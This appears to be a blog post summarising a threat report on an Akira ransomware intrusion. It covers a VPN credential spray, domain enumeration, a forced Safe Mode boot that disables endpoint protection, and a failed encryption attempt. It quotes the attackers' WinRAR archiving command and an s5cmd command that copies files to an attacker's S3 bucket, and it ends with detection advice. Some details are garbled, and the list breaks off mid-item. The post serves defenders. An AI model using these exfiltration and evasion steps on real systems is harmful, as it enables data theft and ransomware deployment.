\uD83C\uDFE8 The Akira ransomware team has discovered a new playbook that forces victim machines into Safe Mode with Networking, effectively disabling Windows Defender and any third‑party EDR agents in the process.
\uD83D\uDD25 This allows attackers to operate with minimal defensive coverage while they move laterally or prepare for execution.
\uD83E\uDDD0 The latest Huntress threat report (released 2026-08-14) documents how this tactic was employed against a SonicWall SSL VPN that lacked MFA, followed by a credential spray and RDP compromise of the domain controller.
Initial Access: Credential Spray on SonicWall SSL VPN
\uD83D\uDD11 Attackers began with a classic credential spray against a SonicWall SSL VPN lacking multi‑factor authentication. The intrusion started with failed login attempts from multiple external IPs (72237735) recorded over several minutes, followed by a successful login that gave them foothold without triggering alerts.
Domain Controller Compromise and Adversary‑in‑the‑Middle Reconnaissance
\uD83D\uDCDA From RDP access to the domain controller, the attacker executed PowerShell enumeration scripts that exported full properties of every user and computer. The output files (C:\\ProgramData\\AdUsers.txt, C:\\ProgramData\\AdComp.txt) included sensitive fields such as PasswordLastSet, EmailAddress, and phone numbers—data that can be used for credential theft or insider‑threat simulations.
Collection, Exfiltration, and Preparation for Detonation
\uD83D\uDD8C The adversary downloaded WinRAR to archive mapped file shares with a highly scripted command:
WinRAR.exe a -ep1 -scul -r0 -iext -imon1 -- . "<share_1>" "<share_2>" "<share_3>" "<share_4>"
\u2699️ The resulting archive was then staged to an attacker‑controlled S3 bucket via:
s5cmd cp --sp "E:\\\\upload*" s3://<attacker-bucket>/
AnyDesk as a Delivery and C2 Channel
\uD83C\uDFE9 The operator installed AnyDesk as a service, configured it to start with Windows, and used the remote‑access channel for both file transfer and command execution. By pasting commands through the clipboard, the attacker kept the payload delivery semi‑manual, reducing the likelihood of detection by automated blockers.
Safe Mode Play: The Turning Point
\uD83D\uDEC6 At 06:29:21 UTC, the adversary ran msconfig.exe, forced a reboot, and then booted into Safe Mode with Networking. Kernel‑Boot logs recorded SAVEBOOT:NETWORK and BootMode=2. This environment disables third‑party services, including both the Huntress agent and Windows Defender real‑time protection.
The Side Effect: Out‑of‑Memory Failure
\uD83E\uDD0B While Safe Mode provided a clean window for the attackers, it also inadvertently limited available virtual memory. The Akira ransomware process (akira.exe) spawned at 06:34:29 UTC and began allocating large memory blocks. Within seconds, Windows logged "Out of Virtual Memory" errors, causing the encryptor to crash before any data could be encrypted.
Why this matters
\uD83D\uDD0E Attackers are continuously adapting tactics to bypass modern EDR and antivirus solutions. By forcing a host into Safe Mode with Networking, they temporarily remove most defensive layers, creating a window for lateral movement or execution of ransomware without immediate detection. Developers and security teams must therefore monitor for abnormal boot configurations and enforce MFA on all VPN access points.
Detection and Response Lessons
📌 Alert on bursts of failed VPN logins followed by a successful attempt from the same IP or ASN.
📌 Require MFA for all SSL VPN accounts; disable or IP‑allowlist the appliance during active attacks.
📌 Deploy EDR agents on every host; unmonitored machines provide a stealthy foothold.
📌 Ingest VPN and Windows event logs into SIEM—early visibility is key to stopping lateral movement.
📌 Monitor for Safe Mode boots (Kernel‑Boot 27, BootMode=2) and
Top comments (0)